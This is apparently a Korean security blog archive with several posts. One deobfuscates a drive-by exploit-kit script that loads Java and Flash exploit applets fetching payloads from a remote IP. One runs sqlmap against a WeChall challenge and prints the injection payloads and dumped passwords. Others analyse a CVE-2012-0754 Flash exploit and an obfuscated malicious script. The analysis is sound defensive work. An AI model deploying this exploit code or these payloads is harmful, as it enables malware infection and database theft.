function ZjykejU6(str)
{var YS1,YS2,YS3,YS4;/*Yszz 1.5 vip*/var i,len,out;
len=str.length;i=0;out = "";
while(i<len)
{do{YS1=ZjykejU6Chars[str.charCodeAt(i++)&0xff]}while(i<len&&YS1==-1);
if(YS1==-1)
break;do{YS2=ZjykejU6Chars[str.charCodeAt(i++)&0xff]}while(i<len&&YS2==-1);
if(YS2==-1)
break;out+=window[fxTmFiR][xZW9RVt]((YS1<<2)|((YS2&0x30)>>4));
do{YS3=str.charCodeAt(i++)&0xff;if(YS3==61)
return out;
YS3=ZjykejU6Chars[YS3]}while(i<len&&YS3==-1);
if(YS3==-1)
break;out+=window[fxTmFiR][xZW9RVt](((YS2&0XF)<<4)|((YS3&0x3C)>>2));
do{YS4=str.charCodeAt(i++)&0xff;if(YS4==61)
return out;YS4=ZjykejU6Chars[YS4]}while(i<len&&YS4==-1);if(YS4==-1)
break;out+=window[fxTmFiR][xZW9RVt](((YS3&0x03)<<6)|YS4)}
return out}
function long2str(v,w){var vl=v.length;var sl=v[vl-1]&0xffffffff;for(var i=0;i<vl;i++)
{v[i]=window[fxTmFiR][xZW9RVt](v[i]&0xff,v[i]>>>8&0xff,v[i]>>>16&0xff,v[i]>>>24&0xff);}
if(w){return v.join('').substring(0,sl);}
else{return v.join('');}}
function str2long(s,w){var len=s.length;var v=[];for(var i=0;i<len;i+=4)
{v[i>>2]=s.charCodeAt(i)|s.charCodeAt(i+1)<<8|s.charCodeAt(i+2)<<16|s.charCodeAt(i+3)<<24;}
if(w){v[v.length]=len;}
return v;}
ubo8KLEZHIPX2=AVgHbu2f(XGpwn2);
function kaixin(str,Udkz){if(str==""){return"";}
var v=str2long(str,false);var k=str2long(Udkz,false);var n=v.length-1;var z=v[n-1],y=v[0],delta=0x9E3779B9;var mx,e,q=Math.floor(6+52/(n+1)),sum=q*delta&0xffffffff;while(sum!=0){e=sum>>>2&3;for(var p=n;p>0;p--){z=v[p-1];mx=(z>>>5^y<<2)+(y>>>3^z<<4)^(sum^y)+(k[p&3^e]^z);y=v[p]=v[p]-mx&0xffffffff;}
z=v[n];mx=(z>>>5^y<<2)+(y>>>3^z<<4)^(sum^y)+(k[p&3^e]^z);y=v[0]=v[0]-mx&0xffffffff;sum=sum-delta&0xffffffff;}
return long2str(v,true);}
sac5pxhFS=AVgHbu2f(sac5pxhFS);
JS0W=Cn6T4bG0znIi;
JS0W=tzWmUni(kaixin(ZjykejU6(JS0W), ubo8KLEZHIPX2));
window[HUx2Ydz][sac5pxhFS] (JS0W);
</script>

위는 원본 코드이고 디코딩을 하려면 복잡해 보이지면 결국 JS0W 내용만 보면 될것으로 보이므로 마지막을 아래와 같이 변경한다.

1

window[HUx2Ydz][sac5pxhFS] (JS0W); ==> alert(JS0W);

아래는 디코딩 된 결과이다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80


<script type="text/javascript">
var RWkTTC8=navigator.userAgent.toLowerCase();
if(document.cookie.indexOf("Udz1szV=")==-1 && RWkTTC8.indexOf("bot")==-1 && RWkTTC8.indexOf("spider")==-1 && RWkTTC8.indexOf("linux")==-1)
{
var jHiJb2=deconcept.SWFObjectUtil.getPlayerVersion();
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie="Udz1szV=Yes;path=/;expires="+expires.toGMTString();
var kaixiny=document.createElement('body');
document.body.appendChild(kaixiny);
var kaixinm=deployJava.getJREs()+"";
kaixinm=parseInt(kaixinm.replace(/\.|\_/g,''));
if (kaixinm<=17006)
{
var kaixin=document.createElement('applet');
kaixin.width="1";
kaixin.height="1";
if((kaixinm<=16027 && kaixinm>=16000) || (kaixinm>=15000 && kaixinm<=15031))
{
kaixin.archive="XLL0zxmA.jpg"; 
kaixin.code="GondadGondadExp.class";
kaixin.setAttribute("dota","http://69.46.87.103/img/jpg.css");
document.body.appendChild(kaixin);
}
else if ((kaixinm<=17003 && kaixinm>=17000) || (kaixinm<=16032 && kaixinm>=16000) ||(kaixinm>=15035 && kaixinm<=15000))
{
kaixin.archive="rKQeVOG.jpg"; 
kaixin.code="gond1723.Gondattack.class"; 
kaixin.setAttribute("xiaomaolv","http://69.46.87.103/img/jpg.css"); 
kaixin.setAttribute("bn","woyouyizhixiaomaolv");
kaixin.setAttribute("si","conglaiyebuqi");
kaixin.setAttribute("bs","748"); 
document.body.appendChild(kaixin);
}
else
{
var ques3 = window.navigator.userAgent.toLowerCase();
if (ques3.indexOf("msie 6") > -1)
 {
document.write("<OBJECT classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' width='200' height='200'><param name=xiaomaolv value= 'http://69.46.87.103/img/jpg.css'><param name=bn value= 'woyouyizhixiaomaolv'><param name=si value= 'conglaiyebuqi'><param name=bs value= '748'><param name=CODE value= 'cve2012xxxx.Gondvv.class'><param name=archive value= 'csEpI.jpg'></OBJECT>");
}
else
 {
 document.write("<br>");
 var kaixinq = document.createElement("body");
 document.body.appendChild(kaixinq);
 var kaixiny = document.createElement("applet");
 kaixiny.width = "256";
 kaixiny.height = "256";
 kaixiny.archive = "csEpI.jpg";
 kaixiny.code = "cve2012xxxx.Gondvv.class";
 kaixiny.setAttribute("xiaomaolv", "http://69.46.87.103/img/jpg.css");
 kaixiny.setAttribute("bn", "woyouyizhixiaomaolv");
 kaixiny.setAttribute("si", "conglaiyebuqi");
 kaixiny.setAttribute("bs", "748");
 document.body.appendChild(kaixiny);
 }
 }
}
else {

 var pcss=navigator.userAgent.toLowerCase();
 var UaYcKzD2 = window.navigator.userAgent.toLowerCase();
 if ((UaYcKzD2.indexOf('msie 8.0') > -1))
 {

 document.writeln("<iframe src=9O4v7e.html><\/iframe>");

 }

 else if ((UaYcKzD2.indexOf('msie 6.0') > -1) || (UaYcKzD2.indexOf('msie 7.0') > -1))
 {

 document.writeln("<iframe src=bmrYt.html><\/iframe>");

 }

}
}
</script>

다양한 취약점을 이용하고 있다. 대세는 JAVA 인듯?

sqlmap - automatic SQL injection and database takeover tool

Wed, 28 Mar 2012 04:32:35 +0000

sqlmap 이란 툴이 트위터랑 페이스북에서 계속 언급되어 어떤것인가 하고 찾아서 사용해 봤습니다. 이것도 굉장한 자동화 도구네요. 아래는 간단하게 테스트 한 내용 입니다.

sqlmap : http://sqlmap.sourceforge.net/ 메뉴얼 : http://sqlmap.sourceforge.net/doc/README.html GUI for sqlmap (Linux) : http://code.google.com/p/gui-for-sqlmap/ GUI for sqlmap (Windows) : http://sourceforge.net/projects/sqlmapwin/

Database명 알아내기

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56


[byjjoon@localhost sqlmap]$ ./sqlmap.py -u "http://www.wechall.net/challenge/table_names/challenge.php?username=test&password=test&login=login" --dbs

 sqlmap/0.9 - automatic SQL injection and database takeover tool
 http://sqlmap.sourceforge.net

[*] starting at: 23:14:18

[23:14:19] [INFO] using '/home/byjjoon/sqlmap/output/www.wechall.net/session' as session file
[23:14:19] [INFO] testing connection to the target url
[23:14:21] [INFO] testing if the url is stable, wait a few seconds
[23:14:24] [WARNING] url is not stable, sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C
[23:14:33] [INFO] testing if GET parameter 'username' is dynamic
[23:14:35] [WARNING] GET parameter 'username' is not dynamic
[23:14:36] [WARNING] heuristic test shows that GET parameter 'username' might not be injectable
[23:14:36] [INFO] testing sql injection on GET parameter 'username'
[23:14:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:14:57] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[23:15:03] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[23:15:09] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[23:15:15] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[23:15:22] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[23:15:28] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[23:15:34] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[23:15:40] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[23:15:58] [INFO] GET parameter 'username' is 'MySQL > 5.0.11 AND time-based blind' injectable
[23:15:58] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[23:16:14] [INFO] target url appears to be UNION injectable with 3 columns
[23:16:22] [INFO] GET parameter 'username' is 'MySQL UNION query (NULL) - 1 to 10 columns' injectable
GET parameter 'username' is vulnerable. Do you want to keep testing the others? [y/N] n
sqlmap identified the following injection points with a total of 59 HTTP(s) requests:
---
Place: GET
Parameter: username
 Type: UNION query
 Title: MySQL UNION query (NULL) - 1 to 10 columns
 Payload: username=-2809' UNION ALL SELECT CONCAT(CHAR(58,118,104,111,58),IFNULL(CAST(CHAR(103,99,77,75,81,100,99,101,89,70) AS CHAR),CHAR(32)),CHAR(58,119,118,101,58)), NULL, NULL# AND 'Pupu'='Pupu&password=test&login=login

 Type: AND/OR time-based blind
 Title: MySQL > 5.0.11 AND time-based blind
 Payload: username=test' AND SLEEP(5) AND 'zdxt'='zdxt&password=test&login=login
---

[23:16:32] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian or Ubuntu 6.0 (unstable sid or testing squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL 5.0.11
[23:16:32] [INFO] fetching database names
[23:16:34] [INFO] the SQL query used returns 2 entries
available databases [2]:
[*] gizmore_tableu61
[*] information_schema

[23:16:37] [INFO] Fetched data logged to text files under '/home/byjjoon/sqlmap/output/www.wechall.net'

[*] shutting down at: 23:16:37

Table명 알아내기

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40


[byjjoon@localhost sqlmap]$ ./sqlmap.py -u "http://www.wechall.net/challenge/table_names/challenge.php?username=test&password=test&login=login" --tables -D gizmore_tableu61

 sqlmap/0.9 - automatic SQL injection and database takeover tool
 http://sqlmap.sourceforge.net

[*] starting at: 23:17:25

[23:17:25] [INFO] using '/home/byjjoon/sqlmap/output/www.wechall.net/session' as session file
[23:17:26] [INFO] resuming injection data from session file
[23:17:26] [INFO] resuming back-end DBMS 'mysql 5.0.11' from session file
[23:17:26] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: username
 Type: UNION query
 Title: MySQL UNION query (NULL) - 1 to 10 columns
 Payload: username=-2809' UNION ALL SELECT CONCAT(CHAR(58,118,104,111,58),IFNULL(CAST(CHAR(103,99,77,75,81,100,99,101,89,70) AS CHAR),CHAR(32)),CHAR(58,119,118,101,58)), NULL, NULL# AND 'Pupu'='Pupu&password=test&login=login

 Type: AND/OR time-based blind
 Title: MySQL > 5.0.11 AND time-based blind
 Payload: username=test' AND SLEEP(5) AND 'zdxt'='zdxt&password=test&login=login
---

[23:17:28] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian or Ubuntu 6.0 (unstable sid or testing squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL 5.0.11
[23:17:28] [INFO] fetching tables for database 'gizmore_tableu61'
[23:17:29] [INFO] the SQL query used returns 2 entries
Database: gizmore_tableu61
[2 tables]
+--------------+
| aaawrong |
| usertableus4 |
+--------------+

[23:17:33] [INFO] Fetched data logged to text files under '/home/byjjoon/sqlmap/output/www.wechall.net'

[*] shutting down at: 23:17:33

칼럼명 알아내기

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44


[byjjoon@localhost sqlmap]$ ./sqlmap.py -u "http://www.wechall.net/challenge/table_names/challenge.php?username=test&password=test&login=login" --columns -D gizmore_tableu61 -T usertableus4

 sqlmap/0.9 - automatic SQL injection and database takeover tool
 http://sqlmap.sourceforge.net

[*] starting at: 23:19:12

[23:19:12] [INFO] using '/home/byjjoon/sqlmap/output/www.wechall.net/session' as session file
[23:19:12] [INFO] resuming injection data from session file
[23:19:12] [INFO] resuming back-end DBMS 'mysql 5.0.11' from session file
[23:19:12] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: username
 Type: UNION query
 Title: MySQL UNION query (NULL) - 1 to 10 columns
 Payload: username=-2809' UNION ALL SELECT CONCAT(CHAR(58,118,104,111,58),IFNULL(CAST(CHAR(103,99,77,75,81,100,99,101,89,70) AS CHAR),CHAR(32)),CHAR(58,119,118,101,58)), NULL, NULL# AND 'Pupu'='Pupu&password=test&login=login

 Type: AND/OR time-based blind
 Title: MySQL > 5.0.11 AND time-based blind
 Payload: username=test' AND SLEEP(5) AND 'zdxt'='zdxt&password=test&login=login
---

[23:19:14] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian or Ubuntu 6.0 (unstable sid or testing squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL 5.0.11
[23:19:14] [INFO] fetching columns for table 'usertableus4' on database 'gizmore_tableu61'
[23:19:16] [INFO] the SQL query used returns 3 entries
Database: gizmore_tableu61
Table: usertableus4
[3 columns]
+----------+--------------+
| Column | Type |
+----------+--------------+
| message | varchar(255) |
| password | varchar(64) |
| username | varchar(32) |
+----------+--------------+

[23:19:22] [INFO] Fetched data logged to text files under '/home/byjjoon/sqlmap/output/www.wechall.net'

[*] shutting down at: 23:19:22

칼럼내의 데이터 알아내기

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47


[byjjoon@localhost sqlmap]$ ./sqlmap.py -u "http://www.wechall.net/challenge/table_names/challenge.php?username=test&password=test&login=login" --dump -D gizmore_tableu61 -T usertableus4 -C password

 sqlmap/0.9 - automatic SQL injection and database takeover tool
 http://sqlmap.sourceforge.net

[*] starting at: 23:21:37

[23:21:37] [INFO] using '/home/byjjoon/sqlmap/output/www.wechall.net/session' as session file
[23:21:37] [INFO] resuming injection data from session file
[23:21:37] [INFO] resuming back-end DBMS 'mysql 5.0.11' from session file
[23:21:37] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: username
 Type: UNION query
 Title: MySQL UNION query (NULL) - 1 to 10 columns
 Payload: username=-2809' UNION ALL SELECT CONCAT(CHAR(58,118,104,111,58),IFNULL(CAST(CHAR(103,99,77,75,81,100,99,101,89,70) AS CHAR),CHAR(32)),CHAR(58,119,118,101,58)), NULL, NULL# AND 'Pupu'='Pupu&password=test&login=login

 Type: AND/OR time-based blind
 Title: MySQL > 5.0.11 AND time-based blind
 Payload: username=test' AND SLEEP(5) AND 'zdxt'='zdxt&password=test&login=login
---

[23:21:39] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian or Ubuntu 6.0 (unstable sid or testing squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL 5.0.11
[23:21:39] [INFO] fetching columns 'password' entries for table 'usertableus4' on database 'gizmore_tableu61'
[23:21:41] [INFO] the SQL query used returns 5 entries
Database: gizmore_tableu61
Table: usertableus4
[5 entries]
+-----------------------------------+
| password |
+-----------------------------------+
| test |
| tables |
| themoreyouknowthemoreyoucanforget |
| tamethepenguin |
| thismypass |
+-----------------------------------+

[23:21:50] [INFO] Table 'gizmore_tableu61.usertableus4' dumped to CSV file '/home/byjjoon/sqlmap/output/www.wechall.net/dump/gizmore_tableu61/usertableus4.csv'
[23:21:50] [INFO] Fetched data logged to text files under '/home/byjjoon/sqlmap/output/www.wechall.net'

[*] shutting down at: 23:21:50

또 추가된 온라인게임핵 악성코드 전파용 취약점 (CVE-2012-0754)

Sun, 11 Mar 2012 01:51:06 +0000

국내에서 전파되는 온라인게임핵 악성코드 전파용 취약점이 또 하나가 새롭게 추가가 되었습니다. CVE-2012-0754 : http://www.exploit-db.com/exploits/18572/

Exploit-DB 사이트에 올라오자 마자 바로 자기네들에 맞게 수정하여 전파하네요. 아래는 이번에 국내에서 발견된 해당 취약점과 관련된 SWF 파일 내부에 작성되어 있는 액션 스크립트 입니다.

이전에 발견된 CVE-2011-2140 취약점과 아주 유사하게 구성되어 있으며 취약점과 관련된 MP4 파일명도 CVE-2011-2140 취약점은 ea.jpg 그리고 이번에 나온 CVE-2012-0754 취약점은 ee.jpg 로 사용하고 있습니다.

CVE-2011-2140 취약점 관련 이전 글 : https://jjoon.net/page/2011/09/09/adobe-flash-player-cve-2011-2140-취약점-간단-분석/

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27


package
{
 public class Exploit extends flash.display.Sprite
 {
 public function Exploit()
 {
 Gondad = 'pdRyrW8PbLGWI6Pv';
 greeting = new flash.text.TextField();
 greeting.text = 'Loading...';
 greeting.x = 100;
 greeting.y = 100;
 addChild(greeting);
 MyVideo = new flash.media.Video();
 addChild(MyVideo);
 MyNC = new flash.net.NetConnection();
 MyNC.connect(null);
 MyNS = new flash.net.NetStream(MyNC);
 MyVideo.attachNetStream(MyNS);
 MyNS.play('ee.jpg');
 }
 public var MyNC:flash.net.NetConnection;
 public var MyNS:flash.net.NetStream;
 public var MyVideo:flash.media.Video;
 private var greeting:flash.text.TextField;
 internal var Gondad:* = "pdRyrW8PbLGWI6Pv";
 }
}

Exploit-DB 사이트에 올라와 있는 취약점과 관련된 MP4 파일을 생성하는 코드는 아래와 같습니다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


def create_mp4(target)
 mp4 = ""
 mp4 << "\x00\x00\x00\x18"
 mp4 << "ftypmp42"
 mp4 << "\x00\x00\x00\x00"
 mp4 << "mp42isom"
 mp4 << "\x00\x00\x00\x0D"
 mp4 << "cprt"
 mp4 << "\x00\xFF\xFF\xFF"
 mp4 << "\x00\x00\x00\x00"
 mp4 << "\x0c\x0c\x0c\x0c" * 2586
 return mp4
end

그리고 아래는 이번에 국내에서 발견된 관련 MP4 파일 입니다. "yqoo" 부분은 계속해서 변경시키며 진단을 우회하고자 노력하고 있는 것으로 보입니다.

또 많은 사용자가 감염이 되겠군요...... :-(

새로운 난독화 해제 방법 (Encrypt By Dadong's JSXX 0.41 VIP)

Thu, 01 Mar 2012 17:13:04 +0000

Encrypt By Dadong blahblah 라고 주석을 남기던 난독화 코드가 버전업을 했습니다. 이제는 아래와 같은 주석을 남기네요.

1
2


Encrypt By www.krmeok.com's JSXX 0.41 VIP
Encrypt By 도메인명's JSXX 0.41 VIP

아마도 "Encrypt By Dadong" 이라는 문자열로 시그니처를 만들기 시작해서 그것을 회피하고자 바꾼 것으로 추측됩니다. 추가로 디코딩 방법은 0.41로 버전업 하기 전과 동일한 방법으로 풀리며, 디코딩 하는 새로운 방법을 확인하여 기록해 둡니다. (이전에 작성한 디코딩 관련 글 : https://jjoon.net/page/2011/01/06/encrypt-by-dadongs-jsxx-%eb%82%9c%eb%8f%85%ed%99%94-%ed%95%b4%ec%a0%9c-%eb%b0%a9%eb%b2%95/)

아래은 원본 코드의 일부 입니다.

1
2
3
4
5
6
7
8


<script>
ceWiaAk1 = eval;
BBvD3=unescape;
IzpvGqn2="476046490C072B0F17045648F2CAF4C88AED86A06555767447BF9BF6D3381A7345B5C7B4880B2318E48ECD0F61AA9B9C4314E1F99C750D4B9BDC1B12C2A1472BC2993B69A5E21D00D85035ED9869598B2259876B158A40C4B3665CF217B8D453E1AA4DCD8059A1CF203FA75EFE52EBB7650AD838C3C255FA75CE78C878E328DC129E39FB78E76ECA4EDD27DE3AA71DCE40FB4EFE47C818F73AE120C14D8A7AF643B82D8D388A32DF4B94409042AD35F0488E58BB4AA17A8E44932F9248821D9A4EA94EAE499A1CC3368852A947AC6E9271863D9B6949DB77BD6E78A87C8720B1594AA96F996F7556955D162D24B845864D6B4D624A501F696A42CD657E6240427E681B687E49686A6454465444651A533B5A3E5E7C4947597E731C195C214A76496843614A53116A6F6D477C765B4A6C6A67291F3C586F7979417C6A7C5D246F26445B794D59616B71673268652B267C656C406F49531217186A1E766F5373664473265A19392C5E6A5C695042651C201B55376A6A68714D436826411C1559656F40446C475012601269685A654A7B5F4E5D32212D193F6F4D4F7445785B2469576F5177794F405D655A29234169656D764A6868445E111110136E5E4940625777571C3D545A197F7C6867586D611A516F2B6B62645C676C757C1B5A24476F547E536244405D1F6560601E5D4D6C684E7F6E1668435526596C59404B7074201E256E2A587141744B446C3D6E2F57475E475B7B4E6C591C18151010534E68444466662F636F47526B4A49716C636935241B516F664B546958635D2D4E1B2B24704D6273576675186E1C641D50406B40686C7F272A121E3064786F615D447A2840536F555E756E7C45707A1C2F4C6E5A6463684A5F7F7F346B1E1C12504365436C40753E542B651970775D474D755D3B5D465569664D5046506D693B68224E196B7746406677663E471E686E5343664D6F4459344C295C115E6352756B656C1C4D5D3625587568786A7874283B6F29325978526E6C4E6E2748466C135D40664E61475D18473B542D544D467A59437C2D69485B31624B5040544261355B39695E7F4A5D7A4244572F534F40175E4E654E62495E1C6B334D216D47686E56715A3D291D492677716E786C7C5B20402E4A696F6C6F75566A5D162B233C365A4D6B4D624A501F696B414A657E6240427E681B392C69486A6454465444651A53352A395E7C4947597E731C642C524A76496843614A53116C181A367C765B4A6C6A67296E4E586D7979417C6A7C5D241851405B794D59616B7167326F142C247C656C406F4953121E6D6F1E766F5373664473265C68325C5E6A5C695042651C506853376A6A68714D4368264113652D656F40446C475012601F6C1A5A654A7B5F4E5D32575C1F3C6F4D4F7445785B241E266F2677794F405D655A2953466F136D764A6868445E116761646C5E4940625777571C30242D1A7F7C6867586D611A5168571A62645C676C757C1B2B24401F547E536244405D1F646363145D4D6C684E7F6E166941535A596C59404B70742019271E55587141744B446C3D192F22465E475B7B4E6C591C6A656761534E68444466662F636F47556B4A49716C636935211C201D664B546958635D2D3D692D52704D627357667518696C156150406B40686C7F275A65694164786F615D447A28405369245E756E7C45707A1C5B3D68296463684A5F7F7F346B1C6D63504365436C40753E242A636F70775D474D755D3B5A33526F664D5046506D693B1C5E32696B7746406677663E306B6D6C5343664D6F4459344B5520105E6352756B656C1C4F274053587568786A7874283B6A2E3E5978526E6C4E6E274B466D125D40664E61475D18474A5529544D467A59437C2D6F342631624B50405442613559351C5B7F4A5D7A4244572F5230416A5E4E654E62495E1C6B3B4A256D47686E56715A3D586F4E5B77716E786C7C5B20352B346E6F6C6F75566A5D165D534C405A4D6B4D624A501F6E6E464C657E6240427E681B325F6E4F6A6454465444651A243428485E7C4947597E731C642D564B76496843614A5311116D1A367C765B4A6C6A67296E4E58687979417C6A7C5D241E52405B794D59616B71673269652C257C656C406F4953121510691D766F5373664473265C683C225E6A5C695042651C516955466A6A68714D436826476F652F656F40446C47501267626C1C5A654A7B5F4E5D32535B683D6F4D4F7445785B246957692077794F405D655A2953436F166D764A6868445E116761621D5E4940625777571C47555C687F7C6867586D611A566E246962645C676C757C1B5853361D547E536244405D1F13101C1F5D4D6C684E7F6E166946535D596C59404B7074206F576957587141744B446C3D6A5C22315E475B7B4E6C591C6C116161534E68444466662F646F47556B4A49716C636935526F2719664B546958635D2D39182724704D6273576675186F11606750406B40686C7F275E63183364786F615D447A28462069575E756E7C45707A1C5E3D6E5A6463684A5F7F7F346B1C6A62504365436C40753E542F636F70775D474D755D3B5B355514664D5046506D693B6E5E48686B7746406677663E466D1F1A5343664D6F4459344D2721105E6352756B656C1C48284053587568786A787428481C584E5978526E6C4E6E274D366D6F5D40664E61475D18414D512A544D467A59437C2D69485D30624B5040544261352B3E6E5E7F4A5D7A4244572F2838466D5E4E654E62495E1C69413A246D47686E56715A3D291D4F2A77716E786C7C5B2046264A186F6C6F75566A5D165B213A475A4D6B4D624A501F1F1D413C657E6240427E681B49231A4A6A6454465444651A24465D3D5E7C4947597E731C632D533876496843614A53116A6F1B317C765B4A6C6A67296E3259127979417C6A7C5D246E2E315B794D59616B7167321F135A257C656C406F495312136E1A69766F5373664473262D183F2C5E6A5C695042651C206924406A6A68714D436826476F635C656F40446C47501212676A6F5A654A7B5F4E5D32525A6A486F4D4F7445785B2469576F5377794F405D655A29534169656D764A6868445E11636711695E4940625777571C47555D157F7C6867586D611A516F516962645C676C757C1B5A26476F547E536244405D1F621267625D4D6C684E7F6E166F32535A596C59404B7074201E256957587141744B446C3D685A57475E475B7B4E6C591C1C146061534E68444466662F191E40536B4A49716C636935246F201D664B546958635D2D48682D55704D627357667518696C646150406B40686C7F275A656F3264786F615D447A2844241E235E756E7C45707A1C5F496F276463684A5F7F7F346C691C14504365436C40753E555C626F70775D474D755D3B5C40231F664D5046506D693B1F284E686B7746406677663E3B6B6E6A5343664D6F4459344A522C135E6352756B656C1C382D4653587568786A78742834125F485978526E6C4E6E274A411B195D40664E61475D18373B532D544D467A59437C2D6D485A40624B5040544261352B3A182C7F4A5D7A4244572F274D3B6A5E4E654E62495E1C193531556D47686E56715A3D2F1A3F5C77716E786C7C5B2040594E6F6F6C6F75566A5D165A544B475A4D6B4D624A501F1C1E303F657E6240427E681B3E2F18496A6454465444651A54325A355E7C4947597E731C122C523C76496843614A53116A686E327C765B4A6C6A67291B4E296E7979417C6A7C5D2418214026794D59616B71673218172C557C656C406F495312151E1C1E766F5373664473262D693C2E5E6A5C695042651C526920476A6A68714D436826326F195D656F40446C47501260656D6F5A654A7B5F4E5D32545A694F6F4D4F7445785B246E57685377794F405D655A2954416E656D764A6868445E116064636C5E4940625777571C40555B687F7C6867586D611A5669271F62645C676C757C1B2D27471E547E536244405D1F631C66155D4D6C684E7F6E166A41242B596C59404B7074206F576950587141744B446C3D192B53415E475B7B4E6C591C6A62611D534E68444466662F636F47556B4A49716C6369355368571E664B546958635D2D496D5D53704D6273576675186F1D646150406B40686C7F275C14684064786F615D447A284625692A5E756E7C45707A1C293C69276463684A5F7F7F346D1A6E64504365436C40753E2921141E70775D474D755D3B5D465569664D5046506D693B182E48686B7746406677663E3B1E6D6A5343664D6F44593438535C185E6352756B656C1C4E5B402E587568786A7874284E6F584E5978526E6C4E6E2738471C1B5D40664E61475D18373B545C544D467A59437C2D1F3E2B30624B5040544261355B346F2D7F4A5D7A4244572F534B371D5E4E654E62495E1C1C3531216D47686E56715A3D5B6F4A5D77716E786C7C5B20402A391E6F6C6F75566A5D165A544B475A4D6B4D624A501F136A414D657E6240427E681B4F5F1D3A6A6454465444651A52475A495E7C4947597E731C152A554C76496843614A53111B6F19477C765B4A6C6A6729193F221E7979417C6A7C5D241522315B794D59616B71673268192D247C656C406F495312156B6A6C766F5373664473265C14492F5E6A5C695042651C216925466A6A68714D436826376F135C656F40446C47501267136B125A654A7B5F4E5D32252C1F3C6F4D4F7445785B241825682F77794F405D655A2922351E106D764A6868445E11671D606C5E4940625777571C30552A1E7F7C6867586D611A2269261862645C676C757C1B5C55476F547E536244405D1F116067625D4D6C684E7F6E161A41242B596C59404B7074206F576957587141744B446C3D1C2B53415E475B7B4E6C591C6A656466534E68444466662F126F47286B4A49716C636935551C246D664B546958635D2D3F195C55704D627357667518696C146050406B40686C7F275A65694164786F615D447A2837261E505E756E7C45707A1C58496E5A6463684A5F7F7F346D6F6A62504365436C40753E2429121D70775D474D755D3B28432468664D5046506D693B1C5B48156B7746406677663E3B6969695343664D6F4459343B535B185E6352756B656C1C3B5E4026587568786A7874284E125C4B5978526E6C4E6E273A376B6E5D40664E61475D18453B265B544D467A59437C2D6D4D2843624B5040544261352E48692F7F4A5D7A4244572F224847175E4E654E62495E1C18423E266D47686E56715A3D581A4A5E77716E786C7C5B20445B49686F6C6F75566A5D165B2239345A4D6B4D624A501F6D6E3448657E6240427E681B32296A486A6454465444651A27405E3C5E7C4947597E731C1659283D76496843614A5311691269427C765B4A6C6A6729683E2A1E7979417C6A7C5D246C213426794D59616B7167326D602F517C656C406F495312161B6A1A766F5373664473265A6E49285E6A5C695042651C246C26466A6A68714D436826441A6759656F40446C47501214121C1A5A654A7B5F4E5D32202E144B6F4D4F7445785B246D521A5677794F405D655A29233012656D764A6868445E116461641F5E4940625777571C41282A197F7C6867586D611A2B6F226E62645C676C757C1B5C55476F547E536244405D1F151367625D4D6C684E7F6E166934575A596C59404B7074206E571825587141744B446C3D1D2E50345E475B7B4E6C591C6C131613534E68444466662F121D47246B4A49716C636935531A276A664B546958635D2D4F185C28704D6273576675186E11131050406B40686C7F275A65694164786F615D447A2830536F575E756E7C45707A1C2E3F19586463684A5F7F7F34176E6C13504365436C40753E525C196D70775D474D755D3B5B375569664D5046506D693B685F4F146B7746406677663E40696F105343664D6F4459343A265D185E6352756B656C1C392A4055587568786A78742838195F325978526E6C4E6E273D311B195D40664E61475D18363C232E544D467A59437C2D69345B35624B5040544261352A396E2E7F4A5D7A4244572F524D3B175E4E654E62495E1C6D474B546D47686E56715A3D2E1F395977716E786C7C5B20362D346E6F6C6F75566A5D162C224C425A4D6B4D624A501F6916464B657E6240427E681B485C1E3A6A6454465444651A20475A395E7C4947597E731C152C253C76496843614